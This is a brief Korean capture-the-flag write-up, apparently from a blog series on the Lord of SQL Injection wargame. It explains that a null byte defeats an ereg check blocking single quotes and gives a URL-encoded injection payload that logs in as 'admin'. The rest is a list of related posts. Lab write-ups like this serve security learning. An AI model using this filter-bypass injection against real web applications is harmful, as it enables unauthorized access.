이 문제는 싱글 쿼터를 사용못하게 막아두었다.
하지만 ereg에 널값을 주게 되면 싱글쿼터를 사용할 수 있다.
?id=%00%27%20%7C%7Cid="admin"%20%20%23
'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글
| [LOS1] nightmare (0) | 2018.09.22 |
|---|---|
| [LOS1] succubus (0) | 2018.09.22 |
| [LOS1] assessin (0) | 2018.09.22 |
| [LOS1] giant (0) | 2018.09.22 |
| [LOS1] bugbear (0) | 2018.09.22 |